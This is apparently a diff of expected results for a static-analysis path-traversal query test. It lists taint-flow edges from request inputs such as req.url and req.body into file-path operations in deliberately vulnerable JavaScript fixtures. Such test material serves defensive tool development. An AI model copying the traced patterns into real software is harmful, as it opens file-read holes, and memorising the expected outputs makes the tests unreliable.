-| TaintedPath.js:126:7:126:48 | path | TaintedPath.js:130:15:130:18 | path | provenance |  |
-| TaintedPath.js:126:14:126:37 | url.par ... , true) | TaintedPath.js:126:14:126:43 | url.par ... ).query | provenance | Config |
-| TaintedPath.js:126:14:126:43 | url.par ... ).query | TaintedPath.js:126:14:126:48 | url.par ... ry.path | provenance | Config |
-| TaintedPath.js:126:14:126:48 | url.par ... ry.path | TaintedPath.js:126:7:126:48 | path | provenance |  |
-| TaintedPath.js:126:24:126:30 | req.url | TaintedPath.js:126:14:126:37 | url.par ... , true) | provenance | Config |
-| TaintedPath.js:130:7:130:29 | split | TaintedPath.js:132:19:132:23 | split | provenance |  |
-| TaintedPath.js:130:7:130:29 | split | TaintedPath.js:136:19:136:23 | split | provenance |  |
-| TaintedPath.js:130:7:130:29 | split | TaintedPath.js:137:28:137:32 | split | provenance |  |
-| TaintedPath.js:130:7:130:29 | split | TaintedPath.js:139:33:139:37 | split | provenance |  |
-| TaintedPath.js:130:7:130:29 | split | TaintedPath.js:142:20:142:24 | split | provenance |  |
-| TaintedPath.js:130:7:130:29 | split | TaintedPath.js:145:19:145:23 | split | provenance |  |
-| TaintedPath.js:130:15:130:18 | path | TaintedPath.js:130:15:130:29 | path.split("/") | provenance | Config |
-| TaintedPath.js:130:15:130:29 | path.split("/") | TaintedPath.js:130:7:130:29 | split | provenance |  |
-| TaintedPath.js:132:19:132:23 | split | TaintedPath.js:132:19:132:33 | split.join("/") | provenance | Config |
-| TaintedPath.js:136:19:136:23 | split | TaintedPath.js:136:19:136:26 | split[x] | provenance | Config |
-| TaintedPath.js:137:28:137:32 | split | TaintedPath.js:137:28:137:35 | split[x] | provenance | Config |
-| TaintedPath.js:137:28:137:35 | split[x] | TaintedPath.js:137:19:137:35 | prefix + split[x] | provenance | Config |
-| TaintedPath.js:139:7:139:38 | concatted | TaintedPath.js:140:19:140:27 | concatted | provenance |  |
-| TaintedPath.js:139:19:139:38 | prefix.concat(split) | TaintedPath.js:139:7:139:38 | concatted | provenance |  |
-| TaintedPath.js:139:33:139:37 | split | TaintedPath.js:139:19:139:38 | prefix.concat(split) | provenance | Config |
-| TaintedPath.js:140:19:140:27 | concatted | TaintedPath.js:140:19:140:37 | concatted.join("/") | provenance | Config |
-| TaintedPath.js:142:7:142:39 | concatted2 | TaintedPath.js:143:19:143:28 | concatted2 | provenance |  |
-| TaintedPath.js:142:20:142:24 | split | TaintedPath.js:142:20:142:39 | split.concat(prefix) | provenance | Config |
-| TaintedPath.js:142:20:142:39 | split.concat(prefix) | TaintedPath.js:142:7:142:39 | concatted2 | provenance |  |
-| TaintedPath.js:143:19:143:28 | concatted2 | TaintedPath.js:143:19:143:38 | concatted2.join("/") | provenance | Config |
-| TaintedPath.js:145:19:145:23 | split | TaintedPath.js:145:19:145:29 | split.pop() | provenance | Config |
-| TaintedPath.js:150:7:150:48 | path | TaintedPath.js:154:29:154:32 | path | provenance |  |
-| TaintedPath.js:150:7:150:48 | path | TaintedPath.js:160:29:160:32 | path | provenance |  |
-| TaintedPath.js:150:7:150:48 | path | TaintedPath.js:161:29:161:32 | path | provenance |  |
-| TaintedPath.js:150:7:150:48 | path | TaintedPath.js:162:29:162:32 | path | provenance |  |
-| TaintedPath.js:150:7:150:48 | path | TaintedPath.js:163:29:163:32 | path | provenance |  |
-| TaintedPath.js:150:7:150:48 | path | TaintedPath.js:178:40:178:43 | path | provenance |  |
-| TaintedPath.js:150:7:150:48 | path | TaintedPath.js:179:50:179:53 | path | provenance |  |
-| TaintedPath.js:150:14:150:37 | url.par ... , true) | TaintedPath.js:150:14:150:43 | url.par ... ).query | provenance | Config |
-| TaintedPath.js:150:14:150:43 | url.par ... ).query | TaintedPath.js:150:14:150:48 | url.par ... ry.path | provenance | Config |
-| TaintedPath.js:150:14:150:48 | url.par ... ry.path | TaintedPath.js:150:7:150:48 | path | provenance |  |
-| TaintedPath.js:150:24:150:30 | req.url | TaintedPath.js:150:14:150:37 | url.par ... , true) | provenance | Config |
-| TaintedPath.js:154:29:154:32 | path | TaintedPath.js:154:29:154:55 | path.re ... /g, '') | provenance | Config |
-| TaintedPath.js:160:29:160:32 | path | TaintedPath.js:160:29:160:52 | path.re ... /g, '') | provenance | Config |
-| TaintedPath.js:161:29:161:32 | path | TaintedPath.js:161:29:161:53 | path.re ... /g, '') | provenance | Config |
-| TaintedPath.js:162:29:162:32 | path | TaintedPath.js:162:29:162:51 | path.re ... /g, '') | provenance | Config |
-| TaintedPath.js:163:29:163:32 | path | TaintedPath.js:163:29:163:57 | path.re ... /g, '') | provenance | Config |
-| TaintedPath.js:178:40:178:43 | path | TaintedPath.js:178:40:178:73 | path.re ... +/, '') | provenance | Config |
-| TaintedPath.js:178:40:178:73 | path.re ... +/, '') | TaintedPath.js:178:29:178:73 | "prefix ... +/, '') | provenance | Config |
-| TaintedPath.js:179:29:179:54 | pathMod ... e(path) | TaintedPath.js:179:29:179:84 | pathMod ... +/, '') | provenance | Config |
-| TaintedPath.js:179:50:179:53 | path | TaintedPath.js:179:29:179:54 | pathMod ... e(path) | provenance | Config |
-| TaintedPath.js:187:29:187:45 | qs.parse(req.url) | TaintedPath.js:187:29:187:49 | qs.pars ... rl).foo | provenance | Config |
-| TaintedPath.js:187:38:187:44 | req.url | TaintedPath.js:187:29:187:45 | qs.parse(req.url) | provenance | Config |
-| TaintedPath.js:188:29:188:59 | qs.pars ... q.url)) | TaintedPath.js:188:29:188:63 | qs.pars ... l)).foo | provenance | Config |
-| TaintedPath.js:188:38:188:58 | normali ... eq.url) | TaintedPath.js:188:29:188:59 | qs.pars ... q.url)) | provenance | Config |
-| TaintedPath.js:188:51:188:57 | req.url | TaintedPath.js:188:38:188:58 | normali ... eq.url) | provenance | Config |
-| TaintedPath.js:190:29:190:51 | parseqs ... eq.url) | TaintedPath.js:190:29:190:55 | parseqs ... rl).foo | provenance | Config |
-| TaintedPath.js:190:44:190:50 | req.url | TaintedPath.js:190:29:190:51 | parseqs ... eq.url) | provenance | Config |
-| TaintedPath.js:195:7:195:48 | path | TaintedPath.js:196:31:196:34 | path | provenance |  |
-| TaintedPath.js:195:7:195:48 | path | TaintedPath.js:197:45:197:48 | path | provenance |  |
-| TaintedPath.js:195:7:195:48 | path | TaintedPath.js:198:35:198:38 | path | provenance |  |
-| TaintedPath.js:195:14:195:37 | url.par ... , true) | TaintedPath.js:195:14:195:43 | url.par ... ).query | provenance | Config |
-| TaintedPath.js:195:14:195:43 | url.par ... ).query | TaintedPath.js:195:14:195:48 | url.par ... ry.path | provenance | Config |
-| TaintedPath.js:195:14:195:48 | url.par ... ry.path | TaintedPath.js:195:7:195:48 | path | provenance |  |
-| TaintedPath.js:195:24:195:30 | req.url | TaintedPath.js:195:14:195:37 | url.par ... , true) | provenance | Config |
-| TaintedPath.js:202:7:202:48 | path | TaintedPath.js:206:29:206:32 | path | provenance |  |
-| TaintedPath.js:202:14:202:37 | url.par ... , true) | TaintedPath.js:202:14:202:43 | url.par ... ).query | provenance | Config |
-| TaintedPath.js:202:14:202:43 | url.par ... ).query | TaintedPath.js:202:14:202:48 | url.par ... ry.path | provenance | Config |
-| TaintedPath.js:202:14:202:48 | url.par ... ry.path | TaintedPath.js:202:7:202:48 | path | provenance |  |
-| TaintedPath.js:202:24:202:30 | req.url | TaintedPath.js:202:14:202:37 | url.par ... , true) | provenance | Config |
-| TaintedPath.js:206:29:206:32 | path | TaintedPath.js:206:29:206:85 | path.re ... '), '') | provenance | Config |
-| TaintedPath.js:211:7:211:48 | path | TaintedPath.js:213:29:213:32 | path | provenance |  |
-| TaintedPath.js:211:7:211:48 | path | TaintedPath.js:216:31:216:34 | path | provenance |  |
-| TaintedPath.js:211:14:211:37 | url.par ... , true) | TaintedPath.js:211:14:211:43 | url.par ... ).query | provenance | Config |
-| TaintedPath.js:211:14:211:43 | url.par ... ).query | TaintedPath.js:211:14:211:48 | url.par ... ry.path | provenance | Config |
-| TaintedPath.js:211:14:211:48 | url.par ... ry.path | TaintedPath.js:211:7:211:48 | path | provenance |  |
-| TaintedPath.js:211:24:211:30 | req.url | TaintedPath.js:211:14:211:37 | url.par ... , true) | provenance | Config |
-| TaintedPath.js:213:29:213:32 | path | TaintedPath.js:213:29:213:68 | path.re ... '), '') | provenance | Config |
-| TaintedPath.js:216:31:216:34 | path | TaintedPath.js:216:31:216:69 | path.re ... '), '') | provenance | Config |
-| examples/TaintedPath.js:8:7:8:52 | filePath | examples/TaintedPath.js:11:36:11:43 | filePath | provenance |  |
+| TaintedPath.js:13:45:13:48 | path | TaintedPath.js:13:29:13:48 | "/home/user/" + path | provenance | Config |
+| TaintedPath.js:36:3:36:44 | path | TaintedPath.js:39:48:39:51 | path | provenance |  |
+| TaintedPath.js:36:3:36:44 | path | TaintedPath.js:42:45:42:48 | path | provenance |  |
+| TaintedPath.js:36:3:36:44 | path | TaintedPath.js:43:51:43:54 | path | provenance |  |
+| TaintedPath.js:36:3:36:44 | path | TaintedPath.js:44:50:44:53 | path | provenance |  |
+| TaintedPath.js:36:3:36:44 | path | TaintedPath.js:45:52:45:55 | path | provenance |  |
+| TaintedPath.js:36:3:36:44 | path | TaintedPath.js:46:49:46:52 | path | provenance |  |
+| TaintedPath.js:36:3:36:44 | path | TaintedPath.js:47:48:47:51 | path | provenance |  |
+| TaintedPath.js:36:3:36:44 | path | TaintedPath.js:48:54:48:57 | path | provenance |  |
+| TaintedPath.js:36:3:36:44 | path | TaintedPath.js:49:57:49:60 | path | provenance |  |
+| TaintedPath.js:36:10:36:33 | url.par ... , true) | TaintedPath.js:36:10:36:39 | url.par ... ).query | provenance | Config |
+| TaintedPath.js:36:10:36:39 | url.par ... ).query | TaintedPath.js:36:10:36:44 | url.par ... ry.path | provenance | Config |
+| TaintedPath.js:36:10:36:44 | url.par ... ry.path | TaintedPath.js:36:3:36:44 | path | provenance |  |
+| TaintedPath.js:36:20:36:26 | req.url | TaintedPath.js:36:10:36:33 | url.par ... , true) | provenance | Config |
+| TaintedPath.js:39:48:39:51 | path | TaintedPath.js:39:29:39:52 | pathMod ... e(path) | provenance | Config |
+| TaintedPath.js:42:45:42:48 | path | TaintedPath.js:42:29:42:49 | pathMod ... n(path) | provenance | Config |
+| TaintedPath.js:43:51:43:54 | path | TaintedPath.js:43:29:43:58 | pathMod ... ath, z) | provenance | Config |
+| TaintedPath.js:44:50:44:53 | path | TaintedPath.js:44:29:44:54 | pathMod ... e(path) | provenance | Config |
+| TaintedPath.js:45:52:45:55 | path | TaintedPath.js:45:29:45:56 | pathMod ... , path) | provenance | Config |
+| TaintedPath.js:46:49:46:52 | path | TaintedPath.js:46:29:46:56 | pathMod ... ath, x) | provenance | Config |
+| TaintedPath.js:47:48:47:51 | path | TaintedPath.js:47:29:47:52 | pathMod ... e(path) | provenance | Config |
+| TaintedPath.js:48:54:48:57 | path | TaintedPath.js:48:29:48:61 | pathMod ... ath, z) | provenance | Config |
+| TaintedPath.js:49:57:49:60 | path | TaintedPath.js:49:29:49:61 | pathMod ... h(path) | provenance | Config |
+| TaintedPath.js:54:31:54:70 | require ... eq.url) | TaintedPath.js:54:31:54:76 | require ... ).query | provenance | Config |
+| TaintedPath.js:54:63:54:69 | req.url | TaintedPath.js:54:31:54:70 | require ... eq.url) | provenance | Config |
+| TaintedPath.js:55:31:55:68 | require ... eq.url) | TaintedPath.js:55:31:55:74 | require ... ).query | provenance | Config |
+| TaintedPath.js:55:61:55:67 | req.url | TaintedPath.js:55:31:55:68 | require ... eq.url) | provenance | Config |
+| TaintedPath.js:56:31:56:67 | require ... eq.url) | TaintedPath.js:56:31:56:73 | require ... ).query | provenance | Config |
+| TaintedPath.js:56:60:56:66 | req.url | TaintedPath.js:56:31:56:67 | require ... eq.url) | provenance | Config |
+| TaintedPath.js:73:6:73:47 | path | TaintedPath.js:75:44:75:47 | path | provenance |  |
+| TaintedPath.js:73:6:73:47 | path | TaintedPath.js:76:14:76:17 | path | provenance |  |
+| TaintedPath.js:73:13:73:36 | url.par ... , true) | TaintedPath.js:73:13:73:42 | url.par ... ).query | provenance | Config |
+| TaintedPath.js:73:13:73:42 | url.par ... ).query | TaintedPath.js:73:13:73:47 | url.par ... ry.path | provenance | Config |
+| TaintedPath.js:73:13:73:47 | url.par ... ry.path | TaintedPath.js:73:6:73:47 | path | provenance |  |
+| TaintedPath.js:73:23:73:29 | req.url | TaintedPath.js:73:13:73:36 | url.par ... , true) | provenance | Config |
+| TaintedPath.js:75:44:75:47 | path | TaintedPath.js:75:28:75:48 | fs.real ... c(path) | provenance | Config |
+| TaintedPath.js:76:14:76:17 | path | TaintedPath.js:77:32:77:39 | realpath | provenance | Config |
+| TaintedPath.js:77:32:77:39 | realpath | TaintedPath.js:78:45:78:52 | realpath | provenance |  |
+| TaintedPath.js:109:6:109:47 | path | TaintedPath.js:111:23:111:26 | path | provenance |  |
+| TaintedPath.js:109:13:109:36 | url.par ... , true) | TaintedPath.js:109:13:109:42 | url.par ... ).query | provenance | Config |
+| TaintedPath.js:109:13:109:42 | url.par ... ).query | TaintedPath.js:109:13:109:47 | url.par ... ry.path | provenance | Config |
+| TaintedPath.js:109:13:109:47 | url.par ... ry.path | TaintedPath.js:109:6:109:47 | path | provenance |  |
+| TaintedPath.js:109:23:109:29 | req.url | TaintedPath.js:109:13:109:36 | url.par ... , true) | provenance | Config |
+| TaintedPath.js:115:7:115:48 | path | TaintedPath.js:117:19:117:22 | path | provenance |  |
+| TaintedPath.js:115:7:115:48 | path | TaintedPath.js:119:15:119:18 | path | provenance |  |
+| TaintedPath.js:115:14:115:37 | url.par ... , true) | TaintedPath.js:115:14:115:43 | url.par ... ).query | provenance | Config |
+| TaintedPath.js:115:14:115:43 | url.par ... ).query | TaintedPath.js:115:14:115:48 | url.par ... ry.path | provenance | Config |
+| TaintedPath.js:115:14:115:48 | url.par ... ry.path | TaintedPath.js:115:7:115:48 | path | provenance |  |
+| TaintedPath.js:115:24:115:30 | req.url | TaintedPath.js:115:14:115:37 | url.par ... , true) | provenance | Config |
+| TaintedPath.js:119:7:119:29 | split | TaintedPath.js:121:19:121:23 | split | provenance |  |
+| TaintedPath.js:119:7:119:29 | split | TaintedPath.js:125:19:125:23 | split | provenance |  |
+| TaintedPath.js:119:7:119:29 | split | TaintedPath.js:126:28:126:32 | split | provenance |  |
+| TaintedPath.js:119:7:119:29 | split | TaintedPath.js:128:33:128:37 | split | provenance |  |
+| TaintedPath.js:119:7:119:29 | split | TaintedPath.js:131:20:131:24 | split | provenance |  |
+| TaintedPath.js:119:7:119:29 | split | TaintedPath.js:134:19:134:23 | split | provenance |  |
+| TaintedPath.js:119:15:119:18 | path | TaintedPath.js:119:15:119:29 | path.split("/") | provenance | Config |
+| TaintedPath.js:119:15:119:29 | path.split("/") | TaintedPath.js:119:7:119:29 | split | provenance |  |
+| TaintedPath.js:121:19:121:23 | split | TaintedPath.js:121:19:121:33 | split.join("/") | provenance | Config |
+| TaintedPath.js:125:19:125:23 | split | TaintedPath.js:125:19:125:26 | split[x] | provenance | Config |
+| TaintedPath.js:126:28:126:32 | split | TaintedPath.js:126:28:126:35 | split[x] | provenance | Config |
+| TaintedPath.js:126:28:126:35 | split[x] | TaintedPath.js:126:19:126:35 | prefix + split[x] | provenance | Config |
+| TaintedPath.js:128:7:128:38 | concatted | TaintedPath.js:129:19:129:27 | concatted | provenance |  |
+| TaintedPath.js:128:19:128:38 | prefix.concat(split) | TaintedPath.js:128:7:128:38 | concatted | provenance |  |
+| TaintedPath.js:128:33:128:37 | split | TaintedPath.js:128:19:128:38 | prefix.concat(split) | provenance | Config |
+| TaintedPath.js:129:19:129:27 | concatted | TaintedPath.js:129:19:129:37 | concatted.join("/") | provenance | Config |
+| TaintedPath.js:131:7:131:39 | concatted2 | TaintedPath.js:132:19:132:28 | concatted2 | provenance |  |
+| TaintedPath.js:131:20:131:24 | split | TaintedPath.js:131:20:131:39 | split.concat(prefix) | provenance | Config |
+| TaintedPath.js:131:20:131:39 | split.concat(prefix) | TaintedPath.js:131:7:131:39 | concatted2 | provenance |  |
+| TaintedPath.js:132:19:132:28 | concatted2 | TaintedPath.js:132:19:132:38 | concatted2.join("/") | provenance | Config |
+| TaintedPath.js:134:19:134:23 | split | TaintedPath.js:134:19:134:29 | split.pop() | provenance | Config |
+| TaintedPath.js:139:7:139:48 | path | TaintedPath.js:143:29:143:32 | path | provenance |  |
+| TaintedPath.js:139:7:139:48 | path | TaintedPath.js:149:29:149:32 | path | provenance |  |
+| TaintedPath.js:139:7:139:48 | path | TaintedPath.js:150:29:150:32 | path | provenance |  |
+| TaintedPath.js:139:7:139:48 | path | TaintedPath.js:151:29:151:32 | path | provenance |  |
+| TaintedPath.js:139:7:139:48 | path | TaintedPath.js:152:29:152:32 | path | provenance |  |
+| TaintedPath.js:139:7:139:48 | path | TaintedPath.js:167:40:167:43 | path | provenance |  |
+| TaintedPath.js:139:7:139:48 | path | TaintedPath.js:168:50:168:53 | path | provenance |  |
+| TaintedPath.js:139:14:139:37 | url.par ... , true) | TaintedPath.js:139:14:139:43 | url.par ... ).query | provenance | Config |
+| TaintedPath.js:139:14:139:43 | url.par ... ).query | TaintedPath.js:139:14:139:48 | url.par ... ry.path | provenance | Config |
+| TaintedPath.js:139:14:139:48 | url.par ... ry.path | TaintedPath.js:139:7:139:48 | path | provenance |  |
+| TaintedPath.js:139:24:139:30 | req.url | TaintedPath.js:139:14:139:37 | url.par ... , true) | provenance | Config |
+| TaintedPath.js:143:29:143:32 | path | TaintedPath.js:143:29:143:55 | path.re ... /g, '') | provenance | Config |
+| TaintedPath.js:149:29:149:32 | path | TaintedPath.js:149:29:149:52 | path.re ... /g, '') | provenance | Config |
+| TaintedPath.js:150:29:150:32 | path | TaintedPath.js:150:29:150:53 | path.re ... /g, '') | provenance | Config |
+| TaintedPath.js:151:29:151:32 | path | TaintedPath.js:151:29:151:51 | path.re ... /g, '') | provenance | Config |
+| TaintedPath.js:152:29:152:32 | path | TaintedPath.js:152:29:152:57 | path.re ... /g, '') | provenance | Config |
+| TaintedPath.js:167:40:167:43 | path | TaintedPath.js:167:40:167:73 | path.re ... +/, '') | provenance | Config |
+| TaintedPath.js:167:40:167:73 | path.re ... +/, '') | TaintedPath.js:167:29:167:73 | "prefix ... +/, '') | provenance | Config |
+| TaintedPath.js:168:29:168:54 | pathMod ... e(path) | TaintedPath.js:168:29:168:84 | pathMod ... +/, '') | provenance | Config |
+| TaintedPath.js:168:50:168:53 | path | TaintedPath.js:168:29:168:54 | pathMod ... e(path) | provenance | Config |
+| TaintedPath.js:176:29:176:45 | qs.parse(req.url) | TaintedPath.js:176:29:176:49 | qs.pars ... rl).foo | provenance | Config |
+| TaintedPath.js:176:38:176:44 | req.url | TaintedPath.js:176:29:176:45 | qs.parse(req.url) | provenance | Config |
+| TaintedPath.js:177:29:177:59 | qs.pars ... q.url)) | TaintedPath.js:177:29:177:63 | qs.pars ... l)).foo | provenance | Config |
+| TaintedPath.js:177:38:177:58 | normali ... eq.url) | TaintedPath.js:177:29:177:59 | qs.pars ... q.url)) | provenance | Config |
+| TaintedPath.js:177:51:177:57 | req.url | TaintedPath.js:177:38:177:58 | normali ... eq.url) | provenance | Config |
+| TaintedPath.js:179:29:179:51 | parseqs ... eq.url) | TaintedPath.js:179:29:179:55 | parseqs ... rl).foo | provenance | Config |
+| TaintedPath.js:179:44:179:50 | req.url | TaintedPath.js:179:29:179:51 | parseqs ... eq.url) | provenance | Config |
+| TaintedPath.js:184:7:184:48 | path | TaintedPath.js:185:31:185:34 | path | provenance |  |
+| TaintedPath.js:184:7:184:48 | path | TaintedPath.js:186:45:186:48 | path | provenance |  |
+| TaintedPath.js:184:7:184:48 | path | TaintedPath.js:187:35:187:38 | path | provenance |  |
+| TaintedPath.js:184:14:184:37 | url.par ... , true) | TaintedPath.js:184:14:184:43 | url.par ... ).query | provenance | Config |
+| TaintedPath.js:184:14:184:43 | url.par ... ).query | TaintedPath.js:184:14:184:48 | url.par ... ry.path | provenance | Config |
+| TaintedPath.js:184:14:184:48 | url.par ... ry.path | TaintedPath.js:184:7:184:48 | path | provenance |  |
+| TaintedPath.js:184:24:184:30 | req.url | TaintedPath.js:184:14:184:37 | url.par ... , true) | provenance | Config |
+| TaintedPath.js:191:7:191:48 | path | TaintedPath.js:195:29:195:32 | path | provenance |  |
+| TaintedPath.js:191:14:191:37 | url.par ... , true) | TaintedPath.js:191:14:191:43 | url.par ... ).query | provenance | Config |
+| TaintedPath.js:191:14:191:43 | url.par ... ).query | TaintedPath.js:191:14:191:48 | url.par ... ry.path | provenance | Config |
+| TaintedPath.js:191:14:191:48 | url.par ... ry.path | TaintedPath.js:191:7:191:48 | path | provenance |  |
+| TaintedPath.js:191:24:191:30 | req.url | TaintedPath.js:191:14:191:37 | url.par ... , true) | provenance | Config |
+| TaintedPath.js:195:29:195:32 | path | TaintedPath.js:195:29:195:85 | path.re ... '), '') | provenance | Config |
+| TaintedPath.js:200:7:200:48 | path | TaintedPath.js:202:29:202:32 | path | provenance |  |
+| TaintedPath.js:200:7:200:48 | path | TaintedPath.js:205:31:205:34 | path | provenance |  |
+| TaintedPath.js:200:14:200:37 | url.par ... , true) | TaintedPath.js:200:14:200:43 | url.par ... ).query | provenance | Config |
+| TaintedPath.js:200:14:200:43 | url.par ... ).query | TaintedPath.js:200:14:200:48 | url.par ... ry.path | provenance | Config |
+| TaintedPath.js:200:14:200:48 | url.par ... ry.path | TaintedPath.js:200:7:200:48 | path | provenance |  |
+| TaintedPath.js:200:24:200:30 | req.url | TaintedPath.js:200:14:200:37 | url.par ... , true) | provenance | Config |
+| TaintedPath.js:202:29:202:32 | path | TaintedPath.js:202:29:202:68 | path.re ... '), '') | provenance | Config |
+| TaintedPath.js:205:31:205:34 | path | TaintedPath.js:205:31:205:69 | path.re ... '), '') | provenance | Config |
+| TaintedPath.js:212:7:212:48 | path | TaintedPath.js:213:33:213:36 | path | provenance |  |
+| TaintedPath.js:212:7:212:48 | path | TaintedPath.js:215:36:215:39 | path | provenance |  |
+| TaintedPath.js:212:14:212:37 | url.par ... , true) | TaintedPath.js:212:14:212:43 | url.par ... ).query | provenance | Config |
+| TaintedPath.js:212:14:212:43 | url.par ... ).query | TaintedPath.js:212:14:212:48 | url.par ... ry.path | provenance | Config |
+| TaintedPath.js:212:14:212:48 | url.par ... ry.path | TaintedPath.js:212:7:212:48 | path | provenance |  |
+| TaintedPath.js:212:24:212:30 | req.url | TaintedPath.js:212:14:212:37 | url.par ... , true) | provenance | Config |
+| TaintedPath.js:213:9:213:37 | improperEscape | TaintedPath.js:214:29:214:42 | improperEscape | provenance |  |
+| TaintedPath.js:213:26:213:37 | escape(path) | TaintedPath.js:213:9:213:37 | improperEscape | provenance |  |
+| TaintedPath.js:213:33:213:36 | path | TaintedPath.js:213:26:213:37 | escape(path) | provenance | Config |
+| TaintedPath.js:215:9:215:40 | improperEscape2 | TaintedPath.js:216:29:216:43 | improperEscape2 | provenance |  |
+| TaintedPath.js:215:27:215:40 | unescape(path) | TaintedPath.js:215:9:215:40 | improperEscape2 | provenance |  |
+| TaintedPath.js:215:36:215:39 | path | TaintedPath.js:215:27:215:40 | unescape(path) | provenance | Config |
+| examples/TaintedPath.js:8:7:8:52 | filePath | examples/TaintedPath.js:10:36:10:43 | filePath | provenance |  |
 | examples/TaintedPath.js:8:18:8:41 | url.par ... , true) | examples/TaintedPath.js:8:18:8:47 | url.par ... ).query | provenance | Config |
 | examples/TaintedPath.js:8:18:8:47 | url.par ... ).query | examples/TaintedPath.js:8:18:8:52 | url.par ... ry.path | provenance | Config |
 | examples/TaintedPath.js:8:18:8:52 | url.par ... ry.path | examples/TaintedPath.js:8:7:8:52 | filePath | provenance |  |
 | examples/TaintedPath.js:8:28:8:34 | req.url | examples/TaintedPath.js:8:18:8:41 | url.par ... , true) | provenance | Config |
-| examples/TaintedPath.js:11:36:11:43 | filePath | examples/TaintedPath.js:11:29:11:43 | ROOT + filePath | provenance | Config |
+| examples/TaintedPath.js:10:36:10:43 | filePath | examples/TaintedPath.js:10:29:10:43 | ROOT + filePath | provenance | Config |
 | handlebars.js:10:51:10:58 | filePath | handlebars.js:11:32:11:39 | filePath | provenance |  |
 | handlebars.js:13:73:13:80 | filePath | handlebars.js:15:25:15:32 | filePath | provenance |  |
 | handlebars.js:29:46:29:60 | req.params.path | handlebars.js:10:51:10:58 | filePath | provenance |  |
 | handlebars.js:43:15:43:29 | req.params.path | handlebars.js:13:73:13:80 | filePath | provenance |  |
+| hapi.js:14:19:14:51 | filepath | hapi.js:15:44:15:51 | filepath | provenance |  |
+| hapi.js:14:30:14:51 | request ... ilepath | hapi.js:14:19:14:51 | filepath | provenance |  |
+| more-fs-extra.js:8:11:8:22 | { filename } | more-fs-extra.js:8:13:8:20 | filename | provenance | Config |
+| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:10:15:10:22 | filename | provenance |  |
+| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:11:11:11:18 | filename | provenance |  |
+| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:12:14:12:21 | filename | provenance |  |
+| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:13:18:13:25 | filename | provenance |  |
+| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:14:11:14:18 | filename | provenance |  |
+| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:15:21:15:28 | filename | provenance |  |
+| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:16:21:16:28 | filename | provenance |  |
+| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:17:31:17:38 | filename | provenance |  |
+| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:18:15:18:22 | filename | provenance |  |
+| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:19:25:19:32 | filename | provenance |  |
+| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:20:21:20:28 | filename | provenance |  |
+| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:21:17:21:24 | filename | provenance |  |
+| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:22:16:22:23 | filename | provenance |  |
+| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:23:20:23:27 | filename | provenance |  |
+| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:24:19:24:26 | filename | provenance |  |
+| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:25:15:25:22 | filename | provenance |  |
+| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:26:19:26:26 | filename | provenance |  |
+| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:27:13:27:20 | filename | provenance |  |
+| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:28:17:28:24 | filename | provenance |  |
+| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:29:23:29:30 | filename | provenance |  |
+| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:30:16:30:23 | filename | provenance |  |
+| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:31:20:31:27 | filename | provenance |  |
+| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:32:23:32:30 | filename | provenance |  |
+| more-fs-extra.js:8:13:8:20 | filename | more-fs-extra.js:8:11:8:33 | filename | provenance |  |
+| more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:8:11:8:22 | { filename } | provenance |  |
 | normalizedPaths.js:11:7:11:27 | path | normalizedPaths.js:13:19:13:22 | path | provenance |  |
 | normalizedPaths.js:11:7:11:27 | path | normalizedPaths.js:14:26:14:29 | path | provenance |  |
 | normalizedPaths.js:11:7:11:27 | path | normalizedPaths.js:15:19:15:22 | path | provenance |  |
@@ -899,10 +635,10 @@ edges
 | tainted-promise-steps.js:11:25:11:35 | pathPromise [PromiseValue] | tainted-promise-steps.js:11:19:11:35 | await pathPromise | provenance |  |
 | tainted-promise-steps.js:12:3:12:13 | pathPromise [PromiseValue] | tainted-promise-steps.js:12:20:12:23 | path | provenance |  |
 | tainted-promise-steps.js:12:20:12:23 | path | tainted-promise-steps.js:12:44:12:47 | path | provenance |  |
-| tainted-sendFile.js:24:37:24:48 | req.params.x | tainted-sendFile.js:24:16:24:49 | path.re ... rams.x) | provenance | Config |
-| tainted-sendFile.js:25:34:25:45 | req.params.x | tainted-sendFile.js:25:16:25:46 | path.jo ... rams.x) | provenance | Config |
-| tainted-sendFile.js:33:37:33:48 | req.params.x | tainted-sendFile.js:33:16:33:48 | homeDir ... arams.x | provenance | Config |
-| tainted-sendFile.js:35:34:35:45 | req.params.x | tainted-sendFile.js:35:16:35:46 | path.jo ... rams.x) | provenance | Config |
+| tainted-sendFile.js:21:37:21:48 | req.params.x | tainted-sendFile.js:21:16:21:49 | path.re ... rams.x) | provenance | Config |
+| tainted-sendFile.js:22:34:22:45 | req.params.x | tainted-sendFile.js:22:16:22:46 | path.jo ... rams.x) | provenance | Config |
+| tainted-sendFile.js:28:37:28:48 | req.params.x | tainted-sendFile.js:28:16:28:48 | homeDir ... arams.x | provenance | Config |
+| tainted-sendFile.js:30:34:30:45 | req.params.x | tainted-sendFile.js:30:16:30:46 | path.jo ... rams.x) | provenance | Config |
 | tainted-string-steps.js:6:7:6:48 | path | tainted-string-steps.js:8:18:8:21 | path | provenance |  |
 | tainted-string-steps.js:6:7:6:48 | path | tainted-string-steps.js:9:18:9:21 | path | provenance |  |
 | tainted-string-steps.js:6:7:6:48 | path | tainted-string-steps.js:10:18:10:21 | path | provenance |  |
@@ -944,205 +680,578 @@ edges
 | torrents.js:6:6:6:45 | loc | torrents.js:7:25:7:27 | loc | provenance |  |
